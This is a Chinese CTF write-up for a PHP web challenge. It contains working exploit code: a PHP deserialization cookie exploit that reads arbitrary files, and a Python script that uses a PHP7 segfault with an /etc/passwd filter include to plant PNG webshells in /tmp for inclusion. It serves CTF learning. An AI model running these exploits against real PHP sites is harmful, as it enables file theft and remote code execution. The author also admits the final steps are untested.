搞了一天时间,环境是搞出来了,然而二次渲染是怎么都整不对,最后总是会把shell给弄乱码。。。索性不管了,来一波意识流wp
先上源码:
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>
第一关,可以看到有个$res = unserialize($_COOKIE['ctfer']);
再加上下面的Hello类和autoload,很明显是要利用反序列化漏洞。
先看看function.php的`autoload,用法基本上就是根据传进来的参数自动加载类,而myclass.php中有一个
__destruct,再配合
unserialize`,就可以读取到任意文件。
然而这道题也没那么简单,可以看到下面有个
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
检测myclass关键字,如果有直接抛出异常。
这里用到一个小技巧,通过修改序列化字符串,使其反序列化失败,$res
的值就是false,成功绕过。
读文件 exp.php
<?php
class myclass{}
class Hello{ public $qwb;}
$a= new Hello();
$a->qwb = "/var/www/html/e2a7106f1cc8bb1e1318df70aa0a3540.php";
$b = new myclass();
$c = urlencode(serialize([$b, $a]));
$cookie = str_replace("a%3A2", "a%3A3", $c);
$req = curl_init("http://eci-2ze1vm55dfrbg963rkw5.cloudeci1.ichunqiu.com:80/");
curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
curl_setopt($req, CURLOPT_HTTPHEADER, array(
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Cache-Control: no-cache",
"Upgrade-Insecure-Requests: 1",
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Connection: close",
"Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
));
curl_setopt($req, CURLOPT_COOKIE,"ctfer=".$cookie);
$result = curl_exec($req);
echo "Status code: ".curl_getinfo($req, CURLINFO_HTTP_CODE)."\n";
echo "Response body: ".$result."\n";
curl_close($req);
e2a7106f1cc8bb1e1318df70aa0a3540.php的内容:
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);
if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
bff139fa05ac583f685a523ab3d110a0.php:
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}
?>
45b963397aa40d4a0063e0d85e4fe7a1.php:
<?php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
先看第一部分:
$file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
大致流程就是判断用户传入的字符串是否含有tmp,如果有则将文件调用PNG函数进行一次二次渲染然后include,没有tmp则直接进行包含
第二部分:
$res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);
if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
就是扫描用户指定目录,并且通过GenFiles()生成一些实际上不存在的文件名打印出来,迷惑选手。
既然有包含,那么问题就是怎么上传上去文件了,这里用到一个php7的特性:LFI via SegmentFault
在有文件包含漏洞的地方,使其包含php://filter/string.strip_tags/resource=/etc/passwd
,会导致php SegmentFault,如果同时还有一个文件上传,这个文件会被保存至upload_tmp_dir,这个值一般为 /tmp。
有了上传文件,就可以包含了,不过还需要绕过二次渲染,利用PNG-IDAT-Payload-Generator生成一个图片即可。
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
base_url = "http://localhost:8081"
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
print(response)
except Exception as e:
print(e)
def generate_tmp_files():
with open('shell.png', 'rb') as fin:
file_content = fin.read()
phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)
length = 6
times = int(len(charset) ** (length / 2))
for i in range(times):
print("[+] %d / %d" % (i, times))
upload_file_to_include(phpinfo_url, file_content)
def main():
generate_tmp_files()
if __name__ == "__main__":
main()
上传成功后,通过第二部分的scandir可以得到/tmp目录下的所有文件,一个一个试就可以了。
最后就是找flag,参考网上的wp。